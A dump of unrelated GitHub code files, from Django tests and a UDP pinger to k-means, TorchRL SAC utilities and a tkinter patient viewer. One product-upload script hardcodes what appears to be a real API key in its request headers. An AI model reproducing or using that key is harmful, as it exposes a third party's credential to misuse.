menu_data['button'].append(menu_Index0)\n MENU_DATA = json.dumps(menu_data, ensure_ascii=False)\n logger.debug('【微信自定义菜单】创建菜单数据MENU_DATA[' + str(MENU_DATA) + ']')\n return MENU_DATA\n\nif __name__ == '__main__':\n wx_menu_server = WxMenuServer()\n '''创建菜单数据'''\n # wx_menu_server.create_menu_data()\n # '''自定义菜单创建接口'''\n wx_menu_server.create_menu()\n '''自定义菜单查询接口'''\n # wx_menu_server.get_menu()\n '''自定义菜单删除接口'''\n # wx_menu_server.delete_menu()","repo_name":"sufaith/python_weixin","sub_path":"core/server/wxmenu.py","file_name":"wxmenu.py","file_ext":"py","file_size_in_byte":4125,"program_lang":"python","lang":"zh","doc_type":"code","stars":15,"dataset":"github-code","pt":"32"} +{"seq_id":"7093544052","text":"import json\n\ntry: # django <= 1.6\n from django.core.urlresolvers import reverse\nexcept ImportError: # from django 1.7 to django 2.0 (and more)\n from django.urls import reverse\nfrom django.test import TestCase, override_settings\nfrom django.test.client import Client\nfrom tests.models import MicroBlogPost\n\nimport mock\nimport responses\nfrom knowledge_share.views import (_clean_category_name,\n _normalize_and_split_data)\n\n\n@override_settings(\n SLACK_TOKEN='1234',\n)\nclass SlackSlashWebHookViewTests(TestCase):\n url_name = 'tests:microblog-slack-slash'\n\n def setUp(self):\n self.view_url = reverse(self.url_name)\n self.client = Client(HTTP_HOST='localtest.com')\n self.post_params = {\n 'text': 'My blog Post [category]',\n 'token': '1234',\n }\n\n def test_post_with_invalid_params(self):\n response = self.client.post(self.view_url)\n self.assertEqual(response.status_code, 400)\n\n def test_post_with_invalid_token_params(self):\n self.post_params['token'] = '123'\n response = self.client.post(self.view_url, self.post_params)\n self.assertEqual(response.status_code, 400)\n\n @responses.activate\n def test_post_with_valid_params(self):\n responses.add(\n responses.POST,\n 'https://api.twitter.com/1.1/statuses/update.json',\n body='{\"success\": \"created\"}', status=200,\n content_type='application/json'\n )\n response = self.client.post(self.view_url, self.post_params)\n self.assertEqual(response.status_code, 200)\n\n @override_settings(KNOWLEDGE_USE_TWITTER=False)\n def test_post_without_categories(self):\n self.post_params['text'] = 'My blog Post'\n response = self.client.post(self.view_url, self.post_params)\n self.assertEqual(response.status_code, 200)\n microblog_post = MicroBlogPost.objects.first()\n self.assertEqual(microblog_post.content, 'My blog Post')\n self.assertEqual(microblog_post.category.count(), 0)\n\n @responses.activate\n def test_post_with_valid_params_create_an_object(self):\n responses.add(\n responses.POST,\n 'https://api.twitter.com/1.1/statuses/update.json',\n body='{\"success\": \"created\"}', status=200,\n content_type='application/json'\n )\n self.client.post(self.view_url, self.post_params)\n microblog_post = MicroBlogPost.objects.first()\n self.assertEqual(microblog_post.content, 'My blog Post')\n\n @responses.activate\n def test_post_with_valid_params_post_on_twitter(self):\n responses.add(\n responses.POST,\n 'https://api.twitter.com/1.1/statuses/update.json',\n body='{\"success\": \"created\"}', status=200,\n content_type='application/json'\n )\n self.client.post(self.view_url, self.post_params)\n microblog_post = MicroBlogPost.objects.first()\n self.assertTrue(microblog_post.posted_on_twitter)\n\n @responses.activate\n def test_post_create_category_tags(self):\n responses.add(\n responses.POST,\n 'https://api.twitter.com/1.1/statuses/update.json',\n body='{\"success\": \"created\"}', status=200,\n content_type='application/json'\n )\n self.client.post(self.view_url, self.post_params)\n microblog_post = MicroBlogPost.objects.first()\n category = microblog_post.category.first()\n self.assertTrue(category.name, 'category')\n\n @mock.patch('knowledge_share.twitter_helpers.logger')\n @responses.activate\n def test_post_with_twitter_error(self, mocked):\n responses.add(\n responses.POST,\n 'https://api.twitter.com/1.1/statuses/update.json',\n body='{\"success\": \"created\"}', status=400,\n content_type='application/json'\n )\n response = self.client.post(self.view_url, self.post_params)\n mocked.error.assert_called_once_with(\n \"Tried to post a microblog post on Twitter but got a ClientError,\"\n \" check your twitter keys.\")\n self.assertIn('(it worked! But twitter posting failed)',\n json.loads(response.content.decode('utf-8'))['text'])\n\n\nclass SlackSlashCommandHelpersTest(TestCase):\n\n def test_normalize_and_split_data(self):\n content = _normalize_and_split_data('My blog Post[category]')\n self.assertEqual(len(content), 2)\n self.assertEqual(content[0], 'My blog Post')\n self.assertEqual(content[1], 'category')\n\n def test_normalize_and_split_data_with_square_braces(self):\n content = _normalize_and_split_data('A list is like this foo[1], awesome.')\n self.assertEqual(len(content), 2)\n self.assertEqual(content[0], 'A list is like this foo[1], awesome.')\n self.assertEqual(content[1], '')\n\n def test_normalize_and_split_data_with_square_braces_and_category(self):\n content = _normalize_and_split_data(\n 'A list is like this foo[1][Python]')\n self.assertEqual(len(content), 2)\n self.assertEqual(content[0], 'A list is like this foo[1]')\n self.assertEqual(content[1], 'Python')\n\n def test_normalize_and_split_data_with_square_braces_and_space_category(self):\n content = _normalize_and_split_data(\n 'A list is like this foo[1] [Python]')\n self.assertEqual(len(content), 2)\n self.assertEqual(content[0], 'A list is like this foo[1]')\n self.assertEqual(content[1], 'Python')\n\n def test_normalize_and_split_data_with_multiple_categories(self):\n content = _normalize_and_split_data('My blog Post[Python, Django]')\n self.assertEqual(len(content), 2)\n self.assertEqual(content[0], 'My blog Post')\n self.assertEqual(content[1], 'Python, Django')\n\n def test_normalize_without_category(self):\n content = _normalize_and_split_data('My blog Post')\n self.assertEqual(len(content), 2)\n self.assertEqual(content[0], 'My blog Post')\n self.assertEqual(content[1], '')\n\n def test_clean_category_name(self):\n category = _clean_category_name(' Category')\n self.assertEqual(category, 'category')\n","repo_name":"vintasoftware/django-knowledge-share","sub_path":"tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":6240,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"32"} +{"seq_id":"10205583621","text":"from mysql_operation.mysql_operation import query_table\nfrom question_analyse.question_pretreatment import question_segment, build_abstract_question, \\\n extract_keywords, best_match_template\nfrom template.question_template import build_sql_sentence, build_answer\n\n\ndef answer_question_template(question: str):\n # 分词 并 词性标注\n question_seq = question_segment(question)\n # 构造抽象问句\n abstract_question = build_abstract_question(question_seq)\n # 抽取关键词字典\n keywords = extract_keywords(question_seq)\n # 问题模版类型\n type = keywords['type']\n # 最合适的问题模版\n match_template, keyword, answer_template = best_match_template(abstract_question, type)\n # 构造sql语句\n sql_sentence = build_sql_sentence(match_template, type, keywords)\n # 数据库查询\n answer_list = []\n if sql_sentence == \"\":\n answer_list.append(\"无法构建查询语句\")\n else:\n result = query_table(sql_sentence)\n if len(result) == 0:\n answer_list.append(\"无法查询\")\n else:\n for item in result:\n answer = build_answer(answer_template, item)\n answer_list.append(answer)\n return answer_list\n\n\nif __name__ == '__main__':\n print('Hello World')\n","repo_name":"MayerX/grad_project","sub_path":"question_answer/answer_question_template.py","file_name":"answer_question_template.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"72460178651","text":"from turtle import Turtle\r\n\r\n\r\nclass Score_card(Turtle):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n self.color(\"white\")\r\n self.penup()\r\n self.goto(-70, 270)\r\n self.score = 0\r\n with open(\"data.text\") as file:\r\n self.high_score = int(file.read())\r\n self.update_score()\r\n self.hideturtle()\r\n\r\n def update_score(self):\r\n self.clear()\r\n self.write(f\"Score:{self.score} High Score:{self.high_score}\", align=\"left\", font=(\"Arial\", 15, \"bold\"))\r\n\r\n def increase_score(self):\r\n self.score += 1\r\n self.update_score()\r\n\r\n def reset(self):\r\n if self.score > self.high_score:\r\n with open(\"data.text\", mode=\"w\") as file:\r\n self.high_score = file.write(f\"{self.score}\")\r\n self.score = 0\r\n self.update_score()\r\n\r\n","repo_name":"abhinavS1911/Python-projects","sub_path":"Snake-Safari/score_card.py","file_name":"score_card.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"43439390459","text":"from socket import *\r\nimport time\r\n\r\nservername='127.0.0.1'\r\nserverport= 12000\r\nclientSocket=socket(AF_INET,SOCK_DGRAM)\r\nclientSocket.settimeout(1)\r\n\r\nfor i in range(1,11):\r\n t0=time.time()\r\n clientSocket.sendto(('Ping %d %s' % (i,t0)).encode(), (servername,serverport))\r\n try:\r\n modifiedMessage,serveraddress=clientSocket.recvfrom(1024)\r\n total_time=time.time()-t0\r\n print('%d: response by %s RTT=%.3f'%(i,servername,total_time))\r\n\r\n except Exception as e:\r\n print('%d: time out!' %i)\r\nclientSocket.close()\r\n\r\n","repo_name":"NightFaint/Code-diary","sub_path":"Computer-Network/homework2/UDPPinger.py","file_name":"UDPPinger.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"2329363057","text":"\"\"\"\nhttps://leetcode-cn.com/problems/longest-string-chain/v\n\n\n1048. 最长字符串链\n给出一个单词列表,其中每个单词都由小写英文字母组成。\n\n如果我们可以在 word1 的任何地方添加一个字母使其变成 word2,那么我们认为 word1 是 word2 的前身。例如,\"abc\" 是 \"abac\" 的前身。\n\n词链是单词 [word_1, word_2, ..., word_k] 组成的序列,k >= 1,其中 word_1 是 word_2 的前身,word_2 是 word_3 的前身,依此类推。\n\n从给定单词列表 words 中选择单词组成词链,返回词链的最长可能长度。\n\n\n示例:\n\n输入:[\"a\",\"b\",\"ba\",\"bca\",\"bda\",\"bdca\"]\n输出:4\n解释:最长单词链之一为 \"a\",\"ba\",\"bda\",\"bdca\"。\n\n\n提示:\n\n1 <= words.length <= 1000\n1 <= words[i].length <= 16\nwords[i] 仅由小写英文字母组成。\n\n\"\"\"\n\nfrom typing import List\n\n\nclass Solution:\n def longestStrChain(self, words: List[str]) -> int:\n word_set = {word: 1 for word in words}\n word_list = sorted(words, key=lambda x: len(x))\n for word in word_list:\n for i in range(len(word)):\n new_word = word[:i] + word[i+1:]\n word_set[word] = max(word_set[word], word_set.get(new_word, 0) + 1)\n # print(word_set)\n return max(word_set.values())\n\n# 十分简单的DP\n","repo_name":"ironboxer/leetcode","sub_path":"python/1048.py","file_name":"1048.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7407233019","text":"import random\nfrom math import sqrt\nimport matplotlib.pyplot as plt\n\ndef weighted_choice(weights):\n ''' Chooses an element with probabilty given by its weight \n on a total of weights. Uses the \"roulette method\". Info at \n http://eli.thegreenplace.net/2010/01/22/weighted-random-generation-in-python'''\n \n rnd = random.random() * sum(weights)\n for i, w in enumerate(weights):\n rnd -= w\n if rnd < 0:\n return i\n \n \ndef d(p1,p2):\n ''' Euclidean distance between two points in R^n '''\n \n return sqrt(sum( \n [(p1[i]-p2[i])**2 for i in range(len(p1))] \n ))\n \n \ndef KPlusPlus_iterate(l,m):\n ''' Given a list of points and the means already found, makes a steps of\n the k++ method '''\n \n weights= [ min([d(x1,x2) for x2 in m ]) **2 if x1 not in m else 0\n for x1 in l ]\n return l[weighted_choice(weights) ]\n \n\ndef KPlusPlus(l,k):\n ''' Implements the k++ algorithm on a list l, to be passed afterwards to\n the k-means. Returns the set of the k mean points selected '''\n \n means=[] # list of means selected\n means.append(l[random.randint(0,len(l)-1)])\n for i in range(k-1):\n means.append(KPlusPlus_iterate(l,means))\n return means\n\ndef KMeans_iterate(l,m):\n ''' Iterates one step of the k-means algorithm, returning the new clusters '''\n \n k=len(m)\n clusters=[[] for i in range(k)]\n for p in l:\n dist=[d(p,mean) for mean in m ]\n i=dist.index(min(dist))\n clusters[i].append(p)\n return clusters\n\ndef centroid(cluster):\n return tuple([\n sum([p[i] for p in cluster])/len(cluster) \n for i in range(len(cluster[0]))\n ])\n \ndef KMeans(l,m):\n ''' Implements the k-means algorithm with the means m on the list l '''\n \n m_old=[]\n m_new=m\n while m_new!=m_old:\n m_old=m_new\n clusters=KMeans_iterate(l,m_old)\n m_new=[centroid(c) for c in clusters]\n return clusters,m_new\n \n\ndef randpoint(x=1,y=1):\n ''' Returns a random point with cohordinates in \n [0,x),[0,y) '''\n try:\n return (random.random()*x,random.random()*y)\n except ValueError:\n print(\"Insert complex,real or integer number as cohordinates \")\n\n\n# now try the algorithm with random points\nx,y=1,1\npoints=[]\nfor i in range(1000):\n points.append(randpoint(x,y))\n \nx_cohord=[p[0] for p in points]\ny_cohord=[p[1] for p in points]\nplt.plot(x_cohord,y_cohord,'ro')\nplt.title('Random points in [0,%d)x[0,%d)'%(x,y))\nplt.show()\n\nk=5\nm=KPlusPlus(points,k)\nclusters, means=KMeans(points,m)\nfor i in range(k):\n x=[p[0] for p in clusters[i]]\n y=[p[1] for p in clusters[i]]\n mean=means[i]\n plt.plot(x,y,'.',mean[0],mean[1],'bo')\nplt.show()\nfor i in range(k): # plots with connected lines, to visualize differently\n x=[p[0] for p in clusters[i]]\n y=[p[1] for p in clusters[i]]\n mean=means[i]\n plt.plot(x,y,mean[0],mean[1],'bo')\nplt.show()\n \n\n \n \n \n \n \n \n \n \n \n","repo_name":"nickruggeri/Miscellanea","sub_path":"Algorithms/k_plus_plus.py","file_name":"k_plus_plus.py","file_ext":"py","file_size_in_byte":3120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71829618012","text":"from tensorflow.examples.tutorials.mnist import input_data\nimport tensorflow as tf\nmnist = input_data.read_data_sets(\"/home/hadoop/code/tensorflow_tutorials/python/MNIST_data/\")\nX_train = mnist.train.images\nX_test = mnist.test.images\ny_train = mnist.train.labels.astype(\"int\")\ny_test = mnist.test.labels.astype(\"int\")\n\nfeatures = tf.contrib.learn.infer_real_valued_columns_from_input(X_train)\nDNN_classifier = tf.contrib.learn.DNNClassifier(hidden_units=[300,100], n_classes=10, feature_columns=features)\nDNN_classifier.fit(x=X_train, y=y_train, batch_size=50, steps=1000)\n\nfrom sklearn.metrics import accuracy_score\ny_predict = list(DNN_classifier.predict(X_test))\naccuracy = accuracy_score(y_test, y_predict)\nprint(\"-------------------- Accuracy: \", accuracy)\n\nfrom sklearn.metrics import log_loss\ny_pred_proba = list(DNN_classifier.predict_proba(X_test))\nprint(\"----------------------- Log loss: \", log_loss(y_test, y_pred_proba))\n","repo_name":"Emilio66/machine_learning","sub_path":"02_DNN_High_Level.py","file_name":"02_DNN_High_Level.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16362466289","text":"\ndef solution(n, arr1, arr2):\n answer = []\n \n def zinsu(num):\n zin = ''\n for _ in range(n):\n zin += str(num%2)\n num = num//2\n return zin[::-1]\n \n arr1_list = list(map(zinsu, arr1))\n arr2_list = list(map(zinsu, arr2))\n \n for a1, a2 in zip(arr1_list, arr2_list):\n result = ''\n for i,j in zip(a1, a2):\n if i== \"0\" and j == \"0\":\n result += \" \"\n else:\n result += \"#\"\n \n answer.append(result)\n \n return answer","repo_name":"heweun/Algorithm_practice","sub_path":"프로그래머스/lv1/17681. [1차] 비밀지도/[1차] 비밀지도.py","file_name":"[1차] 비밀지도.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28884548102","text":"import csv\r\nimport json\r\nimport os\r\nimport requests\r\nfrom datetime import datetime\r\n\r\ndef send_product_to_api(products):\r\n # API configuration\r\n BASE_URL = \"https://api.instabuy.com.br/store/\"\r\n ENDPOINT = \"products\"\r\n API_KEY = \"Mq1EWAXiHwraLIQgfq4stmUxKiM6VpC5Xd9o3wuX1Go\"\r\n\r\n headers = {\r\n \"api-key\": f\"Bearer {API_KEY}\",\r\n \"Content-Type\": \"application/json\"\r\n }\r\n \r\n response = requests.put(f\"{BASE_URL}{ENDPOINT}\", headers=headers, params = products)\r\n return response\r\n\r\ndef file_in_same_directory(file_name):\r\n script_dir = os.path.dirname(os.path.abspath(__file__))\r\n file_path = os.path.join(script_dir, file_name)\r\n return file_path\r\n\r\ndef datetime_to_iso(date_str):\r\n if(len(date_str) == 46 and date_str[37]=='T'):\r\n start_date, end_date = date_str.split('/')\r\n return datetime.strptime(start_date, '%Y-%m-%dT%H:%M:%S.%f')\r\n if(date_str == \"\"):\r\n return \"\"\r\n months = {\r\n \"JAN\": 1, \"FEV\": 2, \"MAR\": 3, \"ABR\": 4, \"MAI\": 5, \"JUN\": 6,\r\n \"JUL\": 7, \"AGO\": 8, \"SET\": 9, \"OUT\": 10, \"NOV\": 11, \"DEZ\": 12\r\n }\r\n day, abb_month, year = date_str.split('-')\r\n day = int(day)\r\n month = months[abb_month]\r\n if(day>31 or month>12):\r\n return \"\"\r\n if(day>29 and month==2):\r\n return \"\"\r\n year = int(year) + 2000\r\n hour, minute, second = 0, 0, 0\r\n f = 672000\r\n date_iso = str(year)+'-'+str(month)+'-'+str(day)+'T'+str(hour)+':'+str(minute)+':'+str(second)+'.'+str(f)\r\n return datetime.strptime(date_iso, '%Y-%m-%dT%H:%M:%S.%f')\r\n\r\ndef csv_to_json():\r\n #Read CSV and add data to a dictionary\r\n with open(file_in_same_directory('items.csv'), encoding=\"utf8\") as csvFile:\r\n csvReader = csv.reader(csvFile, delimiter=';')\r\n data_list = list()\r\n for csvRow in csvReader:\r\n data_list.append(csvRow)\r\n\r\n data_list.pop(0)\r\n #Converting string to other types in list\r\n for properties in data_list:\r\n properties[3] = properties[3].replace(',', '.')\r\n properties[3] = float(properties[3])\r\n properties[4] = properties[4].replace(',', '.')\r\n if(properties[4] != ''):\r\n properties[4] = float(properties[4])\r\n properties[5] = datetime_to_iso(properties[5])\r\n properties[6] = properties[6].replace(',', '.')\r\n properties[6] = float(properties[6])\r\n properties[7] = eval(properties[7])\r\n\r\n data_list.insert(0, ['internal_code', 'barcodes', 'name', 'price', 'promo_price', 'promo_end_at', 'stock', 'visible'])\r\n #data = [dict(zip(data_list[0], csvRow)) for csvRow in data_list]\r\n data = []\r\n for csvRow in data_list:\r\n item_dict = {\r\n 'internal_code': csvRow[0],\r\n 'barcodes': csvRow[1],\r\n 'name': csvRow[2],\r\n 'price': csvRow[3],\r\n 'promo_price': csvRow[4],\r\n 'promo_end_at': csvRow[5],\r\n 'stock': csvRow[6],\r\n 'visible': csvRow[7],\r\n 'promo_start_at': csvRow[5],\r\n 'unit_type': 'UNI'\r\n }\r\n data.append(item_dict)\r\n\r\n data.pop(0)\r\n\r\n #Write data to a Json file\r\n with open(file_in_same_directory('items.json'), \"w\") as jsonFile:\r\n jsonFile.write(json.dumps(data, indent=4, sort_keys=True, default=str))\r\n\r\ndef main():\r\n try:\r\n json_file = csv_to_json()\r\n response = send_product_to_api(json_file)\r\n print(f\"Reason: {response.reason}\\nStatus Code: {response.status_code}\")\r\n\r\n except Exception as e:\r\n print(f\"An error occurred: {e}\")\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"victorhugomr/integration-aug-23","sub_path":"integration-aug-23.py","file_name":"integration-aug-23.py","file_ext":"py","file_size_in_byte":3595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"46162133052","text":"import tkinter as tk\nfrom model.observation.observationCode import ObservationCode\nfrom view.moreInfo import MoreInfo\nimport dateutil.parser\n\n\nclass PatientInfo(tk.Frame):\n\n def __init__(self, master, controller, patient, *args, **kwargs):\n \"\"\"\n Display oh patient name and cholesterol info\n :param master: master window\n :param controller: controller to request data from model\n :param patient: patient to get info from\n \"\"\"\n super(PatientInfo, self).__init__(master, *args, **kwargs)\n self.configure(width=950, height=30)\n\n # initialising variables\n self.id = patient.get_identifier()\n self.controller = controller\n self.patient = patient\n\n self.controller.update_patient_obs(ObservationCode.CHOLESTEROL, patient)\n self.controller.update_patient_obs(ObservationCode.BLOOD_PRESSURE, patient)\n self.controller.update_patient_obs(ObservationCode.TOBACCO_SMOKING_STATUS_NHIS, patient)\n\n # creating and placing display\n self.name_label = tk.Label(self, text=patient.get_display_name(), relief=\"groove\")\n self.name_label.place(x=0, y=0, width=200, height=30)\n\n cholesterol = patient.get_latest_observation_entry(ObservationCode.CHOLESTEROL)\n if cholesterol is not None:\n date = dateutil.parser.parse(str(cholesterol.get_date()))\n self.chol_value = tk.Label(self, text=str(cholesterol.get_value()),\n relief=\"groove\")\n self.date_value = tk.Label(self, text=str(date.date()) + \" \" + str(date.hour) + \":\" + str(date.minute) + \":\" + str(date.second), relief=\"groove\")\n else:\n self.chol_value = tk.Label(self,\n text=\"N/A\",\n relief=\"groove\")\n self.date_value = tk.Label(self, text=\"N/A\", relief=\"groove\")\n\n blood_test = patient.get_latest_observation_entry(ObservationCode.BLOOD_PRESSURE)\n if blood_test is not None:\n date = dateutil.parser.parse(str(blood_test.get_date()))\n self.sys_value = tk.Label(self, text=str(blood_test.get_value()['Systolic_value']), relief=\"groove\")\n self.dia_value = tk.Label(self, text=str(blood_test.get_value()['Diastolic_value']), relief=\"groove\")\n self.date_value2 = tk.Label(self, text=str(date.date()) + \" \" + str(date.hour) + \":\" + str(\n date.minute) + \":\" + str(date.second), relief=\"groove\")\n else:\n self.sys_value = tk.Label(self,\n text=\"N/A\",\n relief=\"groove\")\n self.dia_value = tk.Label(self,\n text=\"N/A\",\n relief=\"groove\")\n self.date_value2 = tk.Label(self, text=\"N/A\", relief=\"groove\")\n self.chol_value.place(x=200, y=0, width=175, height=30)\n self.date_value.place(x=375, y=0, width=125, height=30)\n self.dia_value.place(x=500, y=0, width=100, height=30)\n self.sys_value.place(x=600, y=0, width=100, height=30)\n self.date_value2.place(x=700, y=0, width=125, height=30)\n\n # Button to open more info window\n more_info = tk.Button(self, text=\"More Patient Info\", relief=\"groove\", bg=\"lime\", command=self.__more_info_window)\n more_info.place(x=825, y=0, width=100, height=30)\n\n def update_obs(self):\n \"\"\"\n updates cholesterol value to most recent\n :return: None\n \"\"\"\n cholesterol = self.patient.get_latest_observation_entry(ObservationCode.CHOLESTEROL)\n if cholesterol is not None:\n date = dateutil.parser.parse(str(cholesterol.get_date()))\n self.chol_value['text'] = str(cholesterol.get_value())\n self.date_value['text'] = str(date.date()) + \" \" + str(date.hour) + \":\" + str(date.minute) + \":\" + str(date.second)\n\n blood = self.patient.get_latest_observation_entry(ObservationCode.BLOOD_PRESSURE)\n if blood is not None:\n date = dateutil.parser.parse(str(blood.get_date()))\n self.sys_value['text'] = str(blood.get_value()['Systolic_value'])\n self.dia_value['text'] = str(blood.get_value()['Diastolic_value'])\n self.date_value2['text'] = str(date.date()) + \" \" + str(date.hour) + \":\" + str(date.minute) + \":\" + str(date.second)\n\n def highlight_text(self):\n \"\"\"\n Highlight cholesterol and name\n :return: None\n \"\"\"\n self.chol_value['fg'] = 'red'\n self.name_label['fg'] = 'red'\n\n def highlight_dia(self):\n self.dia_value['fg'] = 'purple'\n\n def default_dia(self):\n self.dia_value['fg'] = 'black'\n\n def highlight_sys(self):\n self.sys_value['fg'] = 'purple'\n\n def default_sys(self):\n self.sys_value['fg'] = 'black'\n\n def default_text(self):\n \"\"\"\n Remove highlight from cholesterol and name\n :return: None\n \"\"\"\n self.chol_value['fg'] = 'black'\n self.name_label['fg'] = 'black'\n\n def __more_info_window(self):\n \"\"\"\n Open more info for patient\n :return: None\n \"\"\"\n self.wait_window(MoreInfo(self, self.patient, self.controller))\n","repo_name":"mt-empty/FHIR_application","sub_path":"src/view/patientInfo.py","file_name":"patientInfo.py","file_ext":"py","file_size_in_byte":5290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20673783185","text":"import torch\nfrom tensordict.nn import InteractionType, TensorDictModule\nfrom tensordict.nn.distributions import NormalParamExtractor\nfrom torch import nn, optim\nfrom torchrl.collectors import SyncDataCollector\nfrom torchrl.data import TensorDictPrioritizedReplayBuffer, TensorDictReplayBuffer\nfrom torchrl.data.replay_buffers.storages import LazyMemmapStorage\nfrom torchrl.envs import Compose, DoubleToFloat, EnvCreator, ParallelEnv, TransformedEnv\nfrom torchrl.envs.libs.gym import GymEnv\nfrom torchrl.envs.transforms import RewardScaling\nfrom torchrl.envs.utils import ExplorationType, set_exploration_type\nfrom torchrl.modules import MLP, ProbabilisticActor, ValueOperator\nfrom torchrl.modules.distributions import TanhNormal\nfrom torchrl.objectives import SoftUpdate\nfrom torchrl.objectives.sac import SACLoss\n\n\n# ====================================================================\n# Environment utils\n# -----------------\n\n\ndef env_maker(task, frame_skip=1, device=\"cpu\", from_pixels=False):\n return GymEnv(task, device=device, frame_skip=frame_skip, from_pixels=from_pixels)\n\n\ndef apply_env_transforms(env, reward_scaling=1.0):\n transformed_env = TransformedEnv(\n env,\n Compose(\n RewardScaling(loc=0.0, scale=reward_scaling),\n DoubleToFloat(in_keys=[\"observation\"], in_keys_inv=[]),\n ),\n )\n return transformed_env\n\n\ndef make_environment(cfg):\n \"\"\"Make environments for training and evaluation.\"\"\"\n parallel_env = ParallelEnv(\n cfg.collector.env_per_collector,\n EnvCreator(lambda: env_maker(task=cfg.env.name)),\n )\n parallel_env.set_seed(cfg.env.seed)\n\n train_env = apply_env_transforms(parallel_env)\n\n eval_env = TransformedEnv(\n ParallelEnv(\n cfg.collector.env_per_collector,\n EnvCreator(lambda: env_maker(task=cfg.env.name)),\n ),\n train_env.transform.clone(),\n )\n return train_env, eval_env\n\n\n# ====================================================================\n# Collector and replay buffer\n# ---------------------------\n\n\ndef make_collector(cfg, train_env, actor_model_explore):\n \"\"\"Make collector.\"\"\"\n collector = SyncDataCollector(\n train_env,\n actor_model_explore,\n frames_per_batch=cfg.collector.frames_per_batch,\n max_frames_per_traj=cfg.collector.max_frames_per_traj,\n total_frames=cfg.collector.total_frames,\n device=cfg.collector.collector_device,\n )\n collector.set_seed(cfg.env.seed)\n return collector\n\n\ndef make_replay_buffer(\n batch_size,\n prb=False,\n buffer_size=1000000,\n buffer_scratch_dir=\"/tmp/\",\n device=\"cpu\",\n prefetch=3,\n):\n if prb:\n replay_buffer = TensorDictPrioritizedReplayBuffer(\n alpha=0.7,\n beta=0.5,\n pin_memory=False,\n prefetch=prefetch,\n storage=LazyMemmapStorage(\n buffer_size,\n scratch_dir=buffer_scratch_dir,\n device=device,\n ),\n batch_size=batch_size,\n )\n else:\n replay_buffer = TensorDictReplayBuffer(\n pin_memory=False,\n prefetch=prefetch,\n storage=LazyMemmapStorage(\n buffer_size,\n scratch_dir=buffer_scratch_dir,\n device=device,\n ),\n batch_size=batch_size,\n )\n return replay_buffer\n\n\n# ====================================================================\n# Model\n# -----\n\n\ndef get_activation(cfg):\n if cfg.network.activation == \"relu\":\n return nn.ReLU\n elif cfg.network.activation == \"tanh\":\n return nn.Tanh\n elif cfg.network.activation == \"leaky_relu\":\n return nn.LeakyReLU\n else:\n raise NotImplementedError\n\n\ndef make_sac_agent(cfg, train_env, eval_env, device):\n \"\"\"Make SAC agent.\"\"\"\n # Define Actor Network\n in_keys = [\"observation\"]\n action_spec = train_env.action_spec\n if train_env.batch_size:\n action_spec = action_spec[(0,) * len(train_env.batch_size)]\n actor_net_kwargs = {\n \"num_cells\": cfg.network.hidden_sizes,\n \"out_features\": 2 * action_spec.shape[-1],\n \"activation_class\": get_activation(cfg),\n }\n\n actor_net = MLP(**actor_net_kwargs)\n\n dist_class = TanhNormal\n dist_kwargs = {\n \"min\": action_spec.space.minimum,\n \"max\": action_spec.space.maximum,\n \"tanh_loc\": False,\n }\n\n actor_extractor = NormalParamExtractor(\n scale_mapping=f\"biased_softplus_{cfg.network.default_policy_scale}\",\n scale_lb=cfg.network.scale_lb,\n )\n actor_net = nn.Sequential(actor_net, actor_extractor)\n\n in_keys_actor = in_keys\n actor_module = TensorDictModule(\n actor_net,\n in_keys=in_keys_actor,\n out_keys=[\n \"loc\",\n \"scale\",\n ],\n )\n actor = ProbabilisticActor(\n spec=action_spec,\n in_keys=[\"loc\", \"scale\"],\n module=actor_module,\n distribution_class=dist_class,\n distribution_kwargs=dist_kwargs,\n default_interaction_type=InteractionType.RANDOM,\n return_log_prob=False,\n )\n\n # Define Critic Network\n qvalue_net_kwargs = {\n \"num_cells\": cfg.network.hidden_sizes,\n \"out_features\": 1,\n \"activation_class\": get_activation(cfg),\n }\n\n qvalue_net = MLP(\n **qvalue_net_kwargs,\n )\n\n qvalue = ValueOperator(\n in_keys=[\"action\"] + in_keys,\n module=qvalue_net,\n )\n\n model = nn.ModuleList([actor, qvalue]).to(device)\n\n # init nets\n with torch.no_grad(), set_exploration_type(ExplorationType.RANDOM):\n td = eval_env.reset()\n td = td.to(device)\n for net in model:\n net(td)\n del td\n eval_env.close()\n\n return model, model[0]\n\n\n# ====================================================================\n# SAC Loss\n# ---------\n\n\ndef make_loss_module(cfg, model):\n \"\"\"Make loss module and target network updater.\"\"\"\n # Create SAC loss\n loss_module = SACLoss(\n actor_network=model[0],\n qvalue_network=model[1],\n num_qvalue_nets=2,\n loss_function=cfg.optimization.loss_function,\n delay_actor=False,\n delay_qvalue=True,\n )\n loss_module.make_value_estimator(gamma=cfg.optimization.gamma)\n\n # Define Target Network Updater\n target_net_updater = SoftUpdate(\n loss_module, eps=cfg.optimization.target_update_polyak\n )\n return loss_module, target_net_updater\n\n\ndef make_sac_optimizer(cfg, loss_module):\n \"\"\"Make SAC optimizer.\"\"\"\n optimizer = optim.Adam(\n loss_module.parameters(),\n lr=cfg.optimization.lr,\n weight_decay=cfg.optimization.weight_decay,\n )\n return optimizer\n","repo_name":"feifeifei416/rl","sub_path":"examples/sac/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} 